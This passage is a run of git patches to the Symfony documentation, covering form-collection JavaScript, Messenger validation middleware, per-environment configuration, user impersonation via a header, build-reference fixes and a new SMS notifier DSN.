+        data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;"
+    ></ul>
 
 Now add a button to dynamically add a new tag:
 
@@ -282,16 +289,16 @@ Now add a button to dynamically add a new tag:
     and you need to adjust the following JavaScript accordingly.
 
 Now add some JavaScript to read this attribute and dynamically add new tag forms
-when the user clicks the "Add a tag" link.
-
-Add a ``<script>`` tag somewhere on your page to include the required
-functionality with JavaScript:
+when the user clicks the "Add a tag" link. Add a ``<script>`` tag somewhere
+on your page to include the required functionality with JavaScript:
 
 .. code-block:: javascript
 
     document
       .querySelectorAll('.add_item_link')
-      .forEach(btn => btn.addEventListener("click", addFormToCollection));
+      .forEach(btn => {
+          btn.addEventListener("click", addFormToCollection)
+      });
 
 The ``addFormToCollection()`` function's job will be to use the ``data-prototype``
 attribute to dynamically add a new form when this link is clicked. The ``data-prototype``
@@ -304,9 +311,9 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
     const addFormToCollection = (e) => {
       const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass);
 
-      const element = document.createElement('li');
+      const item = document.createElement('li');
 
-      element.innerHTML = collectionHolder
+      item.innerHTML = collectionHolder
         .dataset
         .prototype
         .replace(
@@ -314,7 +321,7 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
           collectionHolder.dataset.index
         );
 
-      collectionHolder.appendChild(element);
+      collectionHolder.appendChild(item);
 
       collectionHolder.dataset.index++;
     };
@@ -530,34 +537,35 @@ First, add a "delete this tag" link to each tag form:
 
 .. code-block:: javascript
 
-    const tags = document.querySelectorAll('ul.tags li')
-    tags.forEach((tag) => {
-        addTagFormDeleteLink(tag)
-    })
+    document
+        .querySelectorAll('ul.tags li')
+        .forEach((tag) => {
+            addTagFormDeleteLink(tag)
+        })
 
     // ... the rest of the block from above
 
-    function addFormToCollection() {
+    const addFormToCollection = (e) => {
         // ...
 
         // add a delete link to the new form
-        addTagFormDeleteLink(element);
+        addTagFormDeleteLink(item);
     }
 
 The ``addTagFormDeleteLink()`` function will look something like this:
 
 .. code-block:: javascript
 
-    const addTagFormDeleteLink = (element) => {
+    const addTagFormDeleteLink = (item) => {
         const removeFormButton = document.createElement('button');
         removeFormButton.innerText = 'Delete this tag';
 
-        element.append(removeFormButton);
+        item.append(removeFormButton);
 
         removeFormButton.addEventListener('click', (e) => {
             e.preventDefault();
             // remove the li for the tag form
-            element.remove();
+            item.remove();
         });
     }
 

From 0fc886d2ae9fa02ef220bf1e97518034761897df Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 28 Dec 2021 14:13:49 +0100
Subject: [PATCH 1606/5766] [Messenger] Document the validation middleware

---
 messenger.rst | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e177e99655b..8a4d66fe4ac 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1730,6 +1730,67 @@ may want to use:
             ],
         ]);
 
+Other Middlewares
+~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 4.1
+
+    The ``validation`` middleware was introduced in Symfony 4.1.
+
+Add the ``validation`` middleware if you need to validate the message
+object using the :doc:`Validator component <validator>` before handling it.
+If validation fails, a ``ValidationFailedException`` will be thrown. The
+:class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp` can be used
+to configure the validation groups.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                buses:
+                    command_bus:
+                        middleware:
+                            - validation
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:bus name="command_bus">
+                        <framework:middleware id="validation"/>
+                    </framework:bus>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                'buses' => [
+                    'command_bus' => [
+                        'middleware' => [
+                            'validation',
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
 Messenger Events
 ~~~~~~~~~~~~~~~~
 

From 0aea09a7f054624c83b7ad3170d49cf1e32352db Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 16 Jan 2022 13:28:24 +0100
Subject: [PATCH 1607/5766] Fix merge

---
 messenger.rst | 71 +++++++--------------------------------------------
 1 file changed, 9 insertions(+), 62 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 75fd129a32d..48b0bf483da 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2152,6 +2152,12 @@ the consumer (e.g. render a template with links). This middleware stores the
 original request context (i.e. the host, the HTTP port, etc.) which is needed
 when building absolute URLs.
 
+Add the ``validation`` middleware if you need to validate the message
+object using the :doc:`Validator component <validator>` before handling it.
+If validation fails, a ``ValidationFailedException`` will be thrown. The
+:class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp` can be used
+to configure the validation groups.
+
 .. configuration-block::
 
     .. code-block:: yaml
@@ -2163,6 +2169,7 @@ when building absolute URLs.
                     command_bus:
                         middleware:
                             - router_context
+                            - validation
 
     .. code-block:: xml
 
@@ -2180,6 +2187,7 @@ when building absolute URLs.
                 <framework:messenger>
                     <framework:bus name="command_bus">
                         <framework:middleware id="router_context"/>
+                        <framework:middleware id="validation"/>
                     </framework:bus>
                 </framework:messenger>
             </framework:config>
@@ -2195,70 +2203,9 @@ when building absolute URLs.
 
             $bus = $messenger->bus('command_bus');
             $bus->middleware()->id('router_context');
+            $bus->middleware()->id('validation');
         };
 
-
-Other Middlewares
-~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 4.1
-
-    The ``validation`` middleware was introduced in Symfony 4.1.
-
-Add the ``validation`` middleware if you need to validate the message
-object using the :doc:`Validator component <validator>` before handling it.
-If validation fails, a ``ValidationFailedException`` will be thrown. The
-:class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp` can be used
-to configure the validation groups.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/messenger.yaml
-        framework:
-            messenger:
-                buses:
-                    command_bus:
-                        middleware:
-                            - validation
-
-    .. code-block:: xml
-
-        <!-- config/packages/messenger.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:messenger>
-                    <framework:bus name="command_bus">
-                        <framework:middleware id="validation"/>
-                    </framework:bus>
-                </framework:messenger>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'command_bus' => [
-                        'middleware' => [
-                            'validation',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
-
 Messenger Events
 ~~~~~~~~~~~~~~~~
 

From 61f50005ebc8e2cde512e0632ffba9e4ce3bc894 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Wed, 22 Dec 2021 14:05:29 +0100
Subject: [PATCH 1608/5766] [Configuration] Multiple environments in a single
 file

---
 configuration.rst | 96 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 96 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 4e31c03a3f9..f70f0fa2b61 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -410,6 +410,102 @@ In reality, each environment differs only somewhat from others. This means that
 all environments share a large base of common configuration, which is put in
 files directly in the ``config/packages/`` directory.
 
+.. tip::
+
+    You can also define options for different environments in a single configuration file.
+
+    .. versionadded:: 5.3
+
+        The ability to defined different environments in a single file was introduced in Symfony 5.3.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/webpack_encore.yaml
+            webpack_encore:
+                # ...
+                output_path: '%kernel.project_dir%/public/build'
+                strict_mode: true
+                cache: false
+
+            when@prod:
+                webpack_encore:
+                    cache: true
+
+            when@test:
+                webpack_encore:
+                    strict_mode: false
+
+        .. code-block:: xml
+
+            <!-- config/packages/webpack_encore.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+                <webpack-encore:config>
+                    <!-- ... -->
+                </webpack-encore:config>
+
+                <when env="prod">
+                    <webpack-encore:config>
+                        <!-- ... -->
+                    </webpack-encore:config>
+                </when>
+
+                <when env="test">
+                    <webpack-encore:config>
+                        <!-- ... -->
+                    </webpack-encore:config>
+                </when>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework, ContainerConfigurator $container) {
+                // ...
+
+                if ('prod' === $container->env()) {
+                    // ...
+                }
+
+                if ('test' === $container->env()) {
+                    $framework->test(true);
+                    $framework->session()->storageFactoryId('session.storage.mock_file');
+                }
+            };
+    
+    Also, if you are using PHP 8.0 or later, you can use the PHP attribute ``#[When]`` to tell that a class should only be registered as services in some environments :
+    
+    .. configuration-block::
+
+        .. code-block:: php-attributes
+
+            use Symfony\Component\DependencyInjection\Attribute\When;
+
+            #[When(env: 'dev')]
+            class SomeClass
+            {
+                // ...
+            }
+
+            // you can apply more than one attribute to the same class:
+
+            #[When(env: 'dev')]
+            #[When(env: 'test')]
+            class AnotherClass
+            {
+                // ...
+            }
+
 .. seealso::
 
     See the ``configureContainer()`` method of

From dbc99b8347b1367c98f1ceb2de6f2e26d9366425 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 16 Jan 2022 13:44:07 +0100
Subject: [PATCH 1609/5766] Move #[When] attribute to Service Container docs

---
 configuration.rst     | 68 +++++++++++++++++--------------------------
 service_container.rst | 29 ++++++++++++++++++
 2 files changed, 56 insertions(+), 41 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index f70f0fa2b61..569e70a57f9 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -412,11 +412,13 @@ files directly in the ``config/packages/`` directory.
 
 .. tip::
 
-    You can also define options for different environments in a single configuration file.
-
     .. versionadded:: 5.3
 
-        The ability to defined different environments in a single file was introduced in Symfony 5.3.
+        The ability to defined different environments in a single file was
+        introduced in Symfony 5.3.
+
+    You can also define options for different environments in a single
+    configuration file using the special ``when`` keyword:
 
     .. configuration-block::
 
@@ -429,10 +431,12 @@ files directly in the ``config/packages/`` directory.
                 strict_mode: true
                 cache: false
 
+            # cache is enabled only in the "prod" environment
             when@prod:
                 webpack_encore:
                     cache: true
 
+            # disable strict mode only in the "test" environment
             when@test:
                 webpack_encore:
                     strict_mode: false
@@ -447,20 +451,20 @@ files directly in the ``config/packages/`` directory.
                     https://symfony.com/schema/dic/services/services-1.0.xsd
                     http://symfony.com/schema/dic/symfony
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-                <webpack-encore:config>
-                    <!-- ... -->
-                </webpack-encore:config>
+                <webpack-encore:config
+                    output-path="%kernel.project_dir%/public/build"
+                    strict-mode="true"
+                    cache="false"
+                />
 
+                <!-- cache is enabled only in the "test" environment -->
                 <when env="prod">
-                    <webpack-encore:config>
-                        <!-- ... -->
-                    </webpack-encore:config>
+                    <webpack-encore:config cache="true"/>
                 </when>
 
+                <!-- disable strict mode only in the "test" environment -->
                 <when env="test">
-                    <webpack-encore:config>
-                        <!-- ... -->
-                    </webpack-encore:config>
+                    <webpack-encore:config strict-mode="false"/>
                 </when>
             </container>
 
@@ -468,43 +472,25 @@ files directly in the ``config/packages/`` directory.
 
             // config/packages/framework.php
             use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-            use Symfony\Config\FrameworkConfig;
+            use Symfony\Config\WebpackEncoreConfig;
 
-            return static function (FrameworkConfig $framework, ContainerConfigurator $container) {
-                // ...
+            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container) {
+                $webpackEncore
+                    ->outputPath('%kernel.project_dir%/public/build')
+                    ->strictMode(true)
+                    ->cache(false)
+                ;
 
+                // cache is enabled only in the "prod" environment
                 if ('prod' === $container->env()) {
-                    // ...
+                    $webpackEncore->cache(true);
                 }
 
+                // disable strict mode only in the "test" environment
                 if ('test' === $container->env()) {
-                    $framework->test(true);
-                    $framework->session()->storageFactoryId('session.storage.mock_file');
+                    $webpackEncore->strictMode(false);
                 }
             };
-    
-    Also, if you are using PHP 8.0 or later, you can use the PHP attribute ``#[When]`` to tell that a class should only be registered as services in some environments :
-    
-    .. configuration-block::
-
-        .. code-block:: php-attributes
-
-            use Symfony\Component\DependencyInjection\Attribute\When;
-
-            #[When(env: 'dev')]
-            class SomeClass
-            {
-                // ...
-            }
-
-            // you can apply more than one attribute to the same class:
-
-            #[When(env: 'dev')]
-            #[When(env: 'test')]
-            class AnotherClass
-            {
-                // ...
-            }
 
 .. seealso::
 
diff --git a/service_container.rst b/service_container.rst
index 0e44401bef2..ff1758b1bb3 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -222,6 +222,35 @@ each time you ask for it.
     If you'd prefer to manually wire your service, that's totally possible: see
     :ref:`services-explicitly-configure-wire-services`.
 
+Limiting Services to a specific Symfony Environment
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.3
+
+    The ``#[When]`` attribute was introduced in Symfony 5.3.
+
+If you are using PHP 8.0 or later, you can use the ``#[When]`` PHP
+attribute to only register the class as a service in some environments::
+
+    use Symfony\Component\DependencyInjection\Attribute\When;
+
+    // SomeClass is only registered in the "dev" environment
+
+    #[When(env: 'dev')]
+    class SomeClass
+    {
+        // ...
+    }
+
+    // you can also apply more than one When attribute to the same class
+
+    #[When(env: 'dev')]
+    #[When(env: 'test')]
+    class AnotherClass
+    {
+        // ...
+    }
+
 .. _services-constructor-injection:
 
 Injecting Services/Config into a Service

From 0f820dec3dccbb5d5759fb1fabdf267292a43e4b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 7 Jan 2022 18:28:39 +0100
Subject: [PATCH 1610/5766] Advertise Symfony UX form types

---
 reference/forms/types/map.rst.inc | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 8171c836a4d..52368b05b14 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -43,6 +43,14 @@ Other Fields
 * :doc:`FileType </reference/forms/types/file>`
 * :doc:`RadioType </reference/forms/types/radio>`
 
+Symfony UX Fields
+~~~~~~~~~~~~~~~~~
+
+These types are part of the `Symfony UX initiative`_:
+
+* `CropperType`_ (using Cropper.js)
+* `DropzoneType`_
+
 UID Fields
 ~~~~~~~~~~
 
@@ -71,3 +79,7 @@ Base Fields
 ~~~~~~~~~~~
 
 * :doc:`FormType </reference/forms/types/form>`
+
+.. _`Symfony UX initiative`: https://github.com/symfony/ux#readme
+.. _`CropperType`: https://github.com/symfony/ux/tree/2.x/src/Cropperjs#readme
+.. _`DropzoneType`: https://github.com/symfony/ux/tree/2.x/src/Dropzone#readme

From 38b42b8ea971c30c2b75027c0faa62ccfc8202e9 Mon Sep 17 00:00:00 2001
From: Takashi Kanemoto <ttskch@gmail.com>
Date: Mon, 17 Jan 2022 11:02:55 +0900
Subject: [PATCH 1611/5766] Update impersonating_user.rst

To use switching user feature via `HTTP_X_SWITCH_USER` header we have to set `switch_user.parameter: HTTP_X_SWITCH_USER` in security.yaml.
---
 security/impersonating_user.rst | 47 ++++++++++++++++++++++++++++++++-
 1 file changed, 46 insertions(+), 1 deletion(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 5f44a7fad23..67b76c7b70a 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -75,7 +75,52 @@ as the value to the current URL:
 .. tip::
 
     Instead of adding a ``_switch_user`` query string parameter, you can pass
-    the username in a ``HTTP_X_SWITCH_USER`` header.
+    the username in a ``HTTP_X_SWITCH_USER`` header. You can use this feature by adjusting the ``parameter`` setting:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/security.yaml
+            security:
+                # ...
+                firewalls:
+                    main:
+                        # ...
+                        switch_user: { parameter: HTTP_X_SWITCH_USER }
+
+        .. code-block:: xml
+
+            <!-- config/packages/security.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <srv:container xmlns="http://symfony.com/schema/dic/security"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:srv="http://symfony.com/schema/dic/services"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/security
+                    https://symfony.com/schema/dic/security/security-1.0.xsd">
+                <config>
+                    <!-- ... -->
+                    <firewall name="main">
+                        <!-- ... -->
+                        <switch-user parameter="HTTP_X_SWITCH_USER"/>
+                    </firewall>
+                </config>
+            </srv:container>
+
+        .. code-block:: php
+
+            // config/packages/security.php
+            use Symfony\Config\SecurityConfig;
+            return static function (SecurityConfig $security) {
+                // ...
+                $security->firewall('main')
+                    // ...
+                    ->switchUser()
+                        ->parameter('HTTP_X_SWITCH_USER')
+                ;
+            };
 
 To switch back to the original user, use the special ``_exit`` username:
 

From 3a66610cd5e40ffdc0fec583d7b3bf139d254f3c Mon Sep 17 00:00:00 2001
From: Mark Pedron <marktpedron@gmail.com>
Date: Mon, 17 Jan 2022 07:25:01 +0100
Subject: [PATCH 1612/5766] Remove outdated versionadded 5.* directives

For version 6.0, no versionadded <6.0 are allowed.
---
 configuration.rst     | 5 -----
 http_client.rst       | 4 ----
 serializer.rst        | 5 -----
 service_container.rst | 4 ----
 4 files changed, 18 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 90c3b7047e6..b0d87eea3d8 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -412,11 +412,6 @@ files directly in the ``config/packages/`` directory.
 
 .. tip::
 
-    .. versionadded:: 5.3
-
-        The ability to defined different environments in a single file was
-        introduced in Symfony 5.3.
-
     You can also define options for different environments in a single
     configuration file using the special ``when`` keyword:
 
diff --git a/http_client.rst b/http_client.rst
index 0b68740e398..332e2ccd6e3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1688,10 +1688,6 @@ responses dynamically when it's called::
         $client = new MockHttpClient();
         $client->setResponseFactory($responses);
 
-    .. versionadded:: 5.4
-
-        The ``setResponseFactory()`` method was introduced in Symfony 5.4.
-
 If you need to test responses with HTTP status codes different than 200,
 define the ``http_code`` option::
 
diff --git a/serializer.rst b/serializer.rst
index 296d2c7626a..ef4a8e483df 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -149,11 +149,6 @@ configuration:
             ;
         };
 
-.. versionadded:: 5.4
-
-    The ability to configure the ``default_context`` option in the
-    Serializer was introduced in Symfony 5.4.
-
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations
diff --git a/service_container.rst b/service_container.rst
index 5af42e690c0..62b18134845 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -225,10 +225,6 @@ each time you ask for it.
 Limiting Services to a specific Symfony Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.3
-
-    The ``#[When]`` attribute was introduced in Symfony 5.3.
-
 If you are using PHP 8.0 or later, you can use the ``#[When]`` PHP
 attribute to only register the class as a service in some environments::
 

From cea3939c3ec2d405cb85320070c4a511c0f88b53 Mon Sep 17 00:00:00 2001
From: Mark Pedron <marktpedron@gmail.com>
Date: Sat, 15 Jan 2022 12:44:31 +0100
Subject: [PATCH 1613/5766] Fix bugs seen by `_build/build.php` diagnostics in
 4.4

---
 form/bootstrap4.rst |  2 +-
 index.rst           |  4 ++--
 testing.rst         | 12 ------------
 3 files changed, 3 insertions(+), 15 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 501dd88509f..31f7e50cf1a 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -77,7 +77,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
-.. _reference-forms-bootstrap-error-messages:
+.. _reference-forms-bootstrap4-error-messages:
 
 Error Messages
 --------------
diff --git a/index.rst b/index.rst
index a1cd8e9f3c6..d2469a0cc24 100644
--- a/index.rst
+++ b/index.rst
@@ -69,9 +69,9 @@ Components
 .. toctree::
     :hidden:
 
-    components/index
+    components/
 
-Read the :doc:`Components </components/index>` documentation.
+Read the :doc:`Components </components/>` documentation.
 
 Reference Documents
 -------------------
diff --git a/testing.rst b/testing.rst
index 9e493f293ef..80e425f2276 100644
--- a/testing.rst
+++ b/testing.rst
@@ -523,10 +523,6 @@ The full signature of the ``request()`` method is::
 
 This allows you to create all types of requests you can think of:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. tip::
 
     The test client is available as the ``test.client`` service in the
@@ -671,10 +667,6 @@ Interacting with the Response
 Like a real browser, the Client and Crawler objects can be used to interact
 with the page you're served:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. _testing-links:
 
 Clicking on Links
@@ -815,10 +807,6 @@ check anything you want.
 
 However, Symfony provides useful shortcut methods for the most common cases:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. versionadded:: 4.3
 
     The shortcut methods for assertions using ``WebTestCase`` were introduced

From 31bf04d4b487662590020d4049b662047e532f12 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jan 2022 09:42:08 +0100
Subject: [PATCH 1614/5766] Restore the contents directive

---
 testing.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/testing.rst b/testing.rst
index 80e425f2276..9e493f293ef 100644
--- a/testing.rst
+++ b/testing.rst
@@ -523,6 +523,10 @@ The full signature of the ``request()`` method is::
 
 This allows you to create all types of requests you can think of:
 
+.. contents::
+    :local:
+    :depth: 1
+
 .. tip::
 
     The test client is available as the ``test.client`` service in the
@@ -667,6 +671,10 @@ Interacting with the Response
 Like a real browser, the Client and Crawler objects can be used to interact
 with the page you're served:
 
+.. contents::
+    :local:
+    :depth: 1
+
 .. _testing-links:
 
 Clicking on Links
@@ -807,6 +815,10 @@ check anything you want.
 
 However, Symfony provides useful shortcut methods for the most common cases:
 
+.. contents::
+    :local:
+    :depth: 1
+
 .. versionadded:: 4.3
 
     The shortcut methods for assertions using ``WebTestCase`` were introduced

From 96f0174c15cd1d86f024fd81135b6335652abe3e Mon Sep 17 00:00:00 2001
From: Mark Pedron <marktpedron@gmail.com>
Date: Sat, 15 Jan 2022 14:08:11 +0100
Subject: [PATCH 1615/5766] Add missing anchor in forms/bootstrap5

Fixes the following diagnostic emitted by `_build/build.php`:
```
Found invalid reference "reference-forms-bootstrap5-error-messages" in file "form/form_customization"
```
---
 form/bootstrap5.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 9e1f0bd3d45..0a593d0d31c 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -83,6 +83,8 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
     container. If you override the ``row_attr`` class option, the ``mb-3`` will
     be overridden too and you will need to explicitly add it.
 
+.. _reference-forms-bootstrap5-error-messages:
+
 Error Messages
 --------------
 

From c36a74f778d272f16ef0aea3a80da002291d7870 Mon Sep 17 00:00:00 2001
From: Mark Pedron <marktpedron@gmail.com>
Date: Sat, 15 Jan 2022 12:34:52 +0100
Subject: [PATCH 1616/5766]  Fix bugs seen by `_build/build.php` diagnostics in
 5.4

---
 components/lock.rst            | 28 ++++++++++++++--------------
 reference/forms/types/enum.rst |  2 +-
 2 files changed, 15 insertions(+), 15 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 4069a238ee5..0d00885b9c2 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -350,20 +350,20 @@ Locks are created and managed in ``Stores``, which are classes that implement
 
 The component includes the following built-in store types:
 
-=========================================================  ======  ========  ======== =======
-Store                                                      Scope   Blocking  Expiring Sharing
-=========================================================  ======  ========  ======== =======
-:ref:`FlockStore <lock-store-flock>`                       local   yes       no       yes
-:ref:`MemcachedStore <lock-store-memcached>`               remote  no        yes      no
-:ref:`MongoDbStore <lock-store-mongodb>`                   remote  no        yes      no
-:ref:`PdoStore <lock-store-pdo>`                           remote  no        yes      no
-:ref:`DoctrineDbalStore <lock-store-dbal>`                 remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`                  remote  yes       no       yes
-:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>` remote  yes       no       yes
-:ref:`RedisStore <lock-store-redis>`                       remote  no        yes      yes
-:ref:`SemaphoreStore <lock-store-semaphore>`               local   yes       no       no
-:ref:`ZookeeperStore <lock-store-zookeeper>`               remote  no        no       no
-=========================================================  ======  ========  ======== =======
+==========================================================  ======  ========  ======== =======
+Store                                                       Scope   Blocking  Expiring Sharing
+==========================================================  ======  ========  ======== =======
+:ref:`FlockStore <lock-store-flock>`                        local   yes       no       yes
+:ref:`MemcachedStore <lock-store-memcached>`                remote  no        yes      no
+:ref:`MongoDbStore <lock-store-mongodb>`                    remote  no        yes      no
+:ref:`PdoStore <lock-store-pdo>`                            remote  no        yes      no
+:ref:`DoctrineDbalStore <lock-store-dbal>`                  remote  no        yes      no
+:ref:`PostgreSqlStore <lock-store-pgsql>`                   remote  yes       no       yes
+:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>`  remote  yes       no       yes
+:ref:`RedisStore <lock-store-redis>`                        remote  no        yes      yes
+:ref:`SemaphoreStore <lock-store-semaphore>`                local   yes       no       no
+:ref:`ZookeeperStore <lock-store-zookeeper>`                remote  no        no       no
+==========================================================  ======  ========  ======== =======
 
 .. _lock-store-flock:
 
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 4e598f44e81..213e6bff7d6 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -9,7 +9,7 @@ EnumType Field
    The ``EnumType`` form field was introduced in Symfony 5.4.
 
 A multi-purpose field used to allow the user to "choose" one or more options
-defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
+defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </reference/forms/types/enum>`
 field and defines the same options.
 
 +---------------------------+----------------------------------------------------------------------+

From d224f703c8e07fc242ca56abceaaf0b256771ee7 Mon Sep 17 00:00:00 2001
From: Jon <jon@jon.se>
Date: Fri, 31 Dec 2021 09:15:39 +0100
Subject: [PATCH 1617/5766] 46elks notifier

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 3bae6fa4a14..ccb17f6fc81 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -55,6 +55,7 @@ with a couple popular SMS services:
 ==============  ====================================  ===========================================================================
 Service         Package                               DSN
 ==============  ====================================  ===========================================================================
+46elks          ``symfony/forty-six-elks-notifier``   ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
 AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@default?from=FROM``
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
@@ -86,6 +87,10 @@ Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@defa
 Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
 
+.. versionadded:: 6.1
+
+    The 46elks integration was introduced in Symfony 6.1.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From e03025848646b04f44b131440e8e12aa9a948dac Mon Sep 17 00:00:00 2001
From: lusavuvu <42900969+enigma972@users.noreply.github.com>
